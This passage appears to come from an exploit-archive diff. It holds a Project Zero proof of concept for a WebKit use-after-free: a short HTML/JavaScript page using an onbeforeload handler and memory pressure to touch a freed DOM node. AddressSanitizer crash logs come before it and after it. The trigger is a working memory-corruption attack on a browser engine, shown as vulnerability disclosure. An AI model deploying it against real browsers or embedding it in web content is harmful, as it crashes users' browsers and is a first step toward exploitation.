#2 0x112220a83 in WebCore::removeDetachedChildrenInContainer(WebCore::ContainerNode&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3afa83)
|
||||||
|
#3 0x11220c892 in WebCore::ContainerNode::~ContainerNode() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x39b892)
|
||||||
|
#4 0x112b6bf0d in WebCore::HTMLDetailsElement::~HTMLDetailsElement() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xcfaf0d)
|
||||||
|
#5 0x11daed118 in JSC::FreeList JSC::MarkedBlock::Handle::specializedSweep<true, (JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0, (JSC::MarkedBlock::Handle::NewlyAllocatedMode)1, (JSC::MarkedBlock::Handle::MarksMode)1, JSC::(anonymous namespace)::DestroyFunc>(JSC::MarkedBlock::Handle::EmptyMode, JSC::MarkedBlock::Handle::SweepMode, JSC::MarkedBlock::Handle::SweepDestructionMode, JSC::MarkedBlock::Handle::ScribbleMode, JSC::MarkedBlock::Handle::NewlyAllocatedMode, JSC::MarkedBlock::Handle::MarksMode, JSC::(anonymous namespace)::DestroyFunc const&)::'lambda'(unsigned long)::operator()(unsigned long) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x12d1118)
|
||||||
|
#6 0x11daeb92f in JSC::FreeList JSC::MarkedBlock::Handle::specializedSweep<true, (JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0, (JSC::MarkedBlock::Handle::NewlyAllocatedMode)1, (JSC::MarkedBlock::Handle::MarksMode)1, JSC::(anonymous namespace)::DestroyFunc>(JSC::MarkedBlock::Handle::EmptyMode, JSC::MarkedBlock::Handle::SweepMode, JSC::MarkedBlock::Handle::SweepDestructionMode, JSC::MarkedBlock::Handle::ScribbleMode, JSC::MarkedBlock::Handle::NewlyAllocatedMode, JSC::MarkedBlock::Handle::MarksMode, JSC::(anonymous namespace)::DestroyFunc const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x12cf92f)
|
||||||
|
#7 0x11daea3d2 in JSC::FreeList JSC::MarkedBlock::Handle::finishSweepKnowingSubspace<JSC::(anonymous namespace)::DestroyFunc>(JSC::MarkedBlock::Handle::SweepMode, JSC::(anonymous namespace)::DestroyFunc const&)::'lambda'()::operator()() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x12ce3d2)
|
||||||
|
#8 0x11dae9bdd in JSC::FreeList JSC::MarkedBlock::Handle::finishSweepKnowingSubspace<JSC::(anonymous namespace)::DestroyFunc>(JSC::MarkedBlock::Handle::SweepMode, JSC::(anonymous namespace)::DestroyFunc const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x12cdbdd)
|
||||||
|
#9 0x11dae983c in JSC::JSDestructibleObjectSubspace::finishSweep(JSC::MarkedBlock::Handle&, JSC::MarkedBlock::Handle::SweepMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x12cd83c)
|
||||||
|
#10 0x11dda8e0d in JSC::MarkedBlock::Handle::sweep(JSC::MarkedBlock::Handle::SweepMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x158ce0d)
|
||||||
|
#11 0x11dda3f74 in JSC::MarkedAllocator::tryAllocateIn(JSC::MarkedBlock::Handle*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1587f74)
|
||||||
|
#12 0x11dda38c9 in JSC::MarkedAllocator::tryAllocateWithoutCollecting() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x15878c9)
|
||||||
|
#13 0x11dda48da in JSC::MarkedAllocator::allocateSlowCaseImpl(JSC::GCDeferralContext*, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x15888da)
|
||||||
|
#14 0x1131acac9 in void* JSC::allocateCell<WebCore::JSHTMLDocument>(JSC::Heap&, unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x133bac9)
|
||||||
|
#15 0x1131ac724 in WebCore::JSHTMLDocument::create(JSC::Structure*, WebCore::JSDOMGlobalObject*, WTF::Ref<WebCore::HTMLDocument>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x133b724)
|
||||||
|
#16 0x1131ac66b in std::__1::enable_if<std::is_same<WebCore::HTMLDocument, WebCore::HTMLDocument>::value, WebCore::JSDOMWrapperConverterTraits<WebCore::HTMLDocument>::WrapperClass*>::type WebCore::createWrapper<WebCore::HTMLDocument, WebCore::HTMLDocument>(WebCore::JSDOMGlobalObject*, WTF::Ref<WebCore::HTMLDocument>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x133b66b)
|
||||||
|
#17 0x1131ac439 in std::__1::enable_if<!(std::is_same<WebCore::HTMLDocument, WebCore::Document>::value), WebCore::JSDOMWrapperConverterTraits<WebCore::HTMLDocument>::WrapperClass*>::type WebCore::createWrapper<WebCore::HTMLDocument, WebCore::Document>(WebCore::JSDOMGlobalObject*, WTF::Ref<WebCore::Document>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x133b439)
|
||||||
|
#18 0x1131abb1d in WebCore::createNewDocumentWrapper(JSC::ExecState&, WebCore::JSDOMGlobalObject&, WTF::Ref<WebCore::Document>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x133ab1d)
|
||||||
|
#19 0x1131abce8 in WebCore::toJS(JSC::ExecState*, WebCore::JSDOMGlobalObject*, WebCore::Document&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x133ace8)
|
||||||
|
#20 0x1137848fe in WebCore::createWrapper(JSC::ExecState*, WebCore::JSDOMGlobalObject*, WTF::Ref<WebCore::Node>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x19138fe)
|
||||||
|
#21 0x112c0cf6b in WebCore::toJS(JSC::ExecState*, WebCore::JSDOMGlobalObject*, WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd9bf6b)
|
||||||
|
#22 0x11339d040 in WebCore::JSDOMWindowBase::updateDocument() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x152c040)
|
||||||
|
#23 0x11472c7c3 in WebCore::ScriptController::initScript(WebCore::DOMWrapperWorld&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28bb7c3)
|
||||||
|
#24 0x10bcb4476 in WebCore::ScriptController::windowShell(WebCore::DOMWrapperWorld&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x3af476)
|
||||||
|
#25 0x10bcb1b08 in WebCore::ScriptController::globalObject(WebCore::DOMWrapperWorld&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x3acb08)
|
||||||
|
#26 0x10bfc8044 in WebKit::WebFrame::jsContextForWorld(WebKit::InjectedBundleScriptWorld*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x6c3044)
|
||||||
|
#27 0x7fffe41e0ab1 in Safari::WebFeedFinderController::WebFeedFinderController(Safari::WK::BundleFrame const&) (/System/Library/PrivateFrameworks/Safari.framework/Versions/A/Safari:x86_64+0x55cab1)
|
||||||
|
#28 0x7fffe3d3cb57 in Safari::BrowserBundlePageController::determineWebFeedInformation(Safari::WK::BundleFrame const&) (/System/Library/PrivateFrameworks/Safari.framework/Versions/A/Safari:x86_64+0xb8b57)
|
||||||
|
#29 0x7fffe3d4a12d in Safari::BrowserBundlePageLoaderClient::didFinishLoadForFrame(Safari::WK::BundlePage const&, Safari::WK::BundleFrame const&, Safari::WK::Type&) (/System/Library/PrivateFrameworks/Safari.framework/Versions/A/Safari:x86_64+0xc612d)
|
||||||
|
|
||||||
|
previously allocated by thread T0 here:
|
||||||
|
#0 0x10e8d8d2c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56d2c)
|
||||||
|
#1 0x7fffe883a281 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x2281)
|
||||||
|
#2 0x11e470ae4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c54ae4)
|
||||||
|
#3 0x11e465c4d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c49c4d)
|
||||||
|
#4 0x11e3fb437 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1bdf437)
|
||||||
|
#5 0x11e3fa768 in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1bde768)
|
||||||
|
#6 0x111fb8e08 in WebCore::Node::operator new(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x147e08)
|
||||||
|
#7 0x112b6eaad in WebCore::HTMLDivElement::create(WebCore::QualifiedName const&, WebCore::Document&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xcfdaad)
|
||||||
|
#8 0x112b84403 in WebCore::divConstructor(WebCore::QualifiedName const&, WebCore::Document&, WebCore::HTMLFormElement*, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd13403)
|
||||||
|
#9 0x112b821a4 in WebCore::HTMLElementFactory::createKnownElement(WTF::AtomicString const&, WebCore::Document&, WebCore::HTMLFormElement*, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd111a4)
|
||||||
|
#10 0x112b46ac9 in WebCore::HTMLConstructionSite::createHTMLElementOrFindCustomElementInterface(WebCore::AtomicHTMLToken&, WebCore::JSCustomElementInterface**) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xcd5ac9)
|
||||||
|
#11 0x112b45e17 in WebCore::HTMLConstructionSite::createHTMLElement(WebCore::AtomicHTMLToken&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xcd4e17)
|
||||||
|
#12 0x112b46504 in WebCore::HTMLConstructionSite::insertHTMLElement(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xcd5504)
|
||||||
|
#13 0x112ca67e1 in WebCore::HTMLTreeBuilder::processStartTagForInBody(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xe357e1)
|
||||||
|
#14 0x112ca3a43 in WebCore::HTMLTreeBuilder::processStartTag(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xe32a43)
|
||||||
|
#15 0x112ca183e in WebCore::HTMLTreeBuilder::constructTree(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xe3083e)
|
||||||
|
#16 0x112b73bba in WebCore::HTMLDocumentParser::constructTreeFromHTMLToken(WebCore::HTMLTokenizer::TokenPtr&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd02bba)
|
||||||
|
#17 0x112b73779 in WebCore::HTMLDocumentParser::pumpTokenizerLoop(WebCore::HTMLDocumentParser::SynchronousMode, bool, WebCore::PumpSession&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd02779)
|
||||||
|
#18 0x112b729a6 in WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd019a6)
|
||||||
|
#19 0x112b7442e in WebCore::HTMLDocumentParser::append(WTF::RefPtr<WTF::StringImpl>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd0342e)
|
||||||
|
#20 0x112561351 in WebCore::DecodedDataDocumentParser::flush(WebCore::DocumentWriter&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x6f0351)
|
||||||
|
#21 0x11269d03d in WebCore::DocumentWriter::end() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x82c03d)
|
||||||
|
#22 0x11265c386 in WebCore::DocumentLoader::finishedLoading() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x7eb386)
|
||||||
|
#23 0x1120eb997 in WebCore::CachedResource::checkNotify() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x27a997)
|
||||||
|
#24 0x1120e52aa in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2742aa)
|
||||||
|
#25 0x114a6cc41 in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2bfbc41)
|
||||||
|
#26 0x10c38e2eb in WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xa892eb)
|
||||||
|
#27 0x10c391689 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics const&)) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xa8c689)
|
||||||
|
#28 0x10c390ba9 in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0xa8bba9)
|
||||||
|
#29 0x10bc31683 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x32c683)
|
||||||
|
|
||||||
|
SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x89d9) in WebCore::Node::getFlag(WebCore::Node::NodeFlags) const
|
||||||
|
Shadow bytes around the buggy address:
|
||||||
|
0x1c100000a710: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
|
||||||
|
0x1c100000a720: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
|
||||||
|
0x1c100000a730: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
|
||||||
|
0x1c100000a740: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
|
||||||
|
0x1c100000a750: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
|
||||||
|
=>0x1c100000a760: fa fa fa fa fd fd[fd]fd fd fd fd fd fd fd fd fd
|
||||||
|
0x1c100000a770: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
|
||||||
|
0x1c100000a780: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
|
||||||
|
0x1c100000a790: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
|
||||||
|
0x1c100000a7a0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
|
||||||
|
0x1c100000a7b0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
|
||||||
|
Shadow byte legend (one shadow byte represents 8 application bytes):
|
||||||
|
Addressable: 00
|
||||||
|
Partially addressable: 01 02 03 04 05 06 07
|
||||||
|
Heap left redzone: fa
|
||||||
|
Freed heap region: fd
|
||||||
|
Stack left redzone: f1
|
||||||
|
Stack mid redzone: f2
|
||||||
|
Stack right redzone: f3
|
||||||
|
Stack after return: f5
|
||||||
|
Stack use after scope: f8
|
||||||
|
Global redzone: f9
|
||||||
|
Global init order: f6
|
||||||
|
Poisoned by user: f7
|
||||||
|
Container overflow: fc
|
||||||
|
Array cookie: ac
|
||||||
|
Intra object redzone: bb
|
||||||
|
ASan internal: fe
|
||||||
|
Left alloca redzone: ca
|
||||||
|
Right alloca redzone: cb
|
||||||
|
==29717==ABORTING
|
||||||
|
-->
|
||||||
187
platforms/multiple/dos/42367.html
Executable file
187
platforms/multiple/dos/42367.html
Executable file
|
|
@ -0,0 +1,187 @@
|
||||||
|
<!--
|
||||||
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1242
|
||||||
|
|
||||||
|
There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.
|
||||||
|
|
||||||
|
PoC:
|
||||||
|
|
||||||
|
=================================================================
|
||||||
|
-->
|
||||||
|
|
||||||
|
<script>
|
||||||
|
function freememory() {
|
||||||
|
var a;
|
||||||
|
for(var i=0;i<100;i++) {
|
||||||
|
a = new Uint8Array(1024*1024);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function boom() {
|
||||||
|
var link = document.getElementById("link");
|
||||||
|
prompt(link.innerHTML);
|
||||||
|
}
|
||||||
|
|
||||||
|
function go() {
|
||||||
|
var link2 = document.createElement("link");
|
||||||
|
link2.innerHTML = div3.outerHTML;
|
||||||
|
div2.appendChild(link2);
|
||||||
|
link2.setAttribute("onbeforeload", "eventhandler()");
|
||||||
|
div1.appendChild(div2);
|
||||||
|
freememory()
|
||||||
|
setTimeout(boom,1000);
|
||||||
|
}
|
||||||
|
function eventhandler() {
|
||||||
|
document.getElementById("link").remove();
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
<body onload=go()>
|
||||||
|
<div id="div1"></div>
|
||||||
|
<div id="div2"></div>
|
||||||
|
<div id="div3">
|
||||||
|
<link id="link">
|
||||||
|
|
||||||
|
<!--
|
||||||
|
=================================================================
|
||||||
|
|
||||||
|
ASan log:
|
||||||
|
|
||||||
|
=================================================================
|
||||||
|
==29632==ERROR: AddressSanitizer: heap-use-after-free on address 0x611000087cc8 at pc 0x000112b711cd bp 0x7fff58466d00 sp 0x7fff58466cf8
|
||||||
|
READ of size 8 at 0x611000087cc8 thread T0
|
||||||
|
==29632==WARNING: invalid path to external symbolizer!
|
||||||
|
==29632==WARNING: Failed to use and restart external symbolizer!
|
||||||
|
#0 0x112b711cc in JSC::Weak<WebCore::JSDOMObject>::get() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3a51cc)
|
||||||
|
#1 0x113d3150a in JSC::JSObject* WebCore::getCachedWrapper<WebCore::Element>(WebCore::DOMWrapperWorld&, WebCore::Element&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x156550a)
|
||||||
|
#2 0x113d31364 in WebCore::toJS(JSC::ExecState*, WebCore::JSDOMGlobalObject*, WebCore::Element&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1565364)
|
||||||
|
#3 0x113b053d4 in WebCore::jsDocumentPrototypeFunctionGetElementByIdCaller(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x13393d4)
|
||||||
|
#4 0x113aeb158 in long long WebCore::BindingCaller<WebCore::JSDocument>::callOperation<&(WebCore::jsDocumentPrototypeFunctionGetElementByIdCaller(JSC::ExecState*, WebCore::JSDocument*, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState*, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x131f158)
|
||||||
|
#5 0x4b4d2f201027 (<unknown module>)
|
||||||
|
#6 0x10eef934a in llint_entry (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x157734a)
|
||||||
|
#7 0x10eef291a in vmEntryToJavaScript (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x157091a)
|
||||||
|
#8 0x10eb57757 in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x11d5757)
|
||||||
|
#9 0x10ead93da in JSC::Interpreter::executeCall(JSC::ExecState*, JSC::JSObject*, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x11573da)
|
||||||
|
#10 0x10e1110f1 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x78f0f1)
|
||||||
|
#11 0x10e111362 in JSC::call(JSC::ExecState*, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x78f362)
|
||||||
|
#12 0x10e1116d3 in JSC::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x78f6d3)
|
||||||
|
#13 0x1139bfa15 in WebCore::JSMainThreadExecState::profiledCall(JSC::ExecState*, JSC::ProfilingReason, JSC::JSValue, JSC::CallType, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x11f3a15)
|
||||||
|
#14 0x11507c75a in WebCore::ScheduledAction::executeFunctionInContext(JSC::JSGlobalObject*, JSC::JSValue, WebCore::ScriptExecutionContext&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28b075a)
|
||||||
|
#15 0x11507c21c in WebCore::ScheduledAction::execute(WebCore::Document&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28b021c)
|
||||||
|
#16 0x1130238db in WebCore::DOMTimer::fired() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x8578db)
|
||||||
|
#17 0x1155f3b82 in WebCore::ThreadTimers::sharedTimerFiredInternal() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2e27b82)
|
||||||
|
#18 0x1147f5b54 in WebCore::timerFired(__CFRunLoopTimer*, void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2029b54)
|
||||||
|
#19 0x7fffd2f5ed03 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_TIMER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x90d03)
|
||||||
|
#20 0x7fffd2f5e98e in __CFRunLoopDoTimer (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x9098e)
|
||||||
|
#21 0x7fffd2f5e4e9 in __CFRunLoopDoTimers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x904e9)
|
||||||
|
#22 0x7fffd2f55c30 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87c30)
|
||||||
|
#23 0x7fffd2f551c3 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x871c3)
|
||||||
|
#24 0x7fffd24b6ebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
|
||||||
|
#25 0x7fffd24b6cf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
|
||||||
|
#26 0x7fffd24b6b25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
|
||||||
|
#27 0x7fffd0a51e23 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46e23)
|
||||||
|
#28 0x7fffd11cd85d in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c285d)
|
||||||
|
#29 0x7fffd0a467aa in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b7aa)
|
||||||
|
#30 0x7fffd0a111dd in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x61dd)
|
||||||
|
#31 0x7fffe89118c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
|
||||||
|
#32 0x7fffe89102e3 in xpc_main (/usr/lib/system/libxpc.dylib:x86_64+0xf2e3)
|
||||||
|
#33 0x10779656c in main (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development:x86_64+0x10000156c)
|
||||||
|
#34 0x7fffe86b8234 in start (/usr/lib/system/libdyld.dylib:x86_64+0x5234)
|
||||||
|
|
||||||
|
0x611000087cc8 is located 8 bytes inside of 240-byte region [0x611000087cc0,0x611000087db0)
|
||||||
|
freed by thread T0 here:
|
||||||
|
#0 0x10a781294 in __sanitizer_mz_free (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x57294)
|
||||||
|
#1 0x10f5ccf30 in bmalloc::Deallocator::deallocateSlowCase(void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c4af30)
|
||||||
|
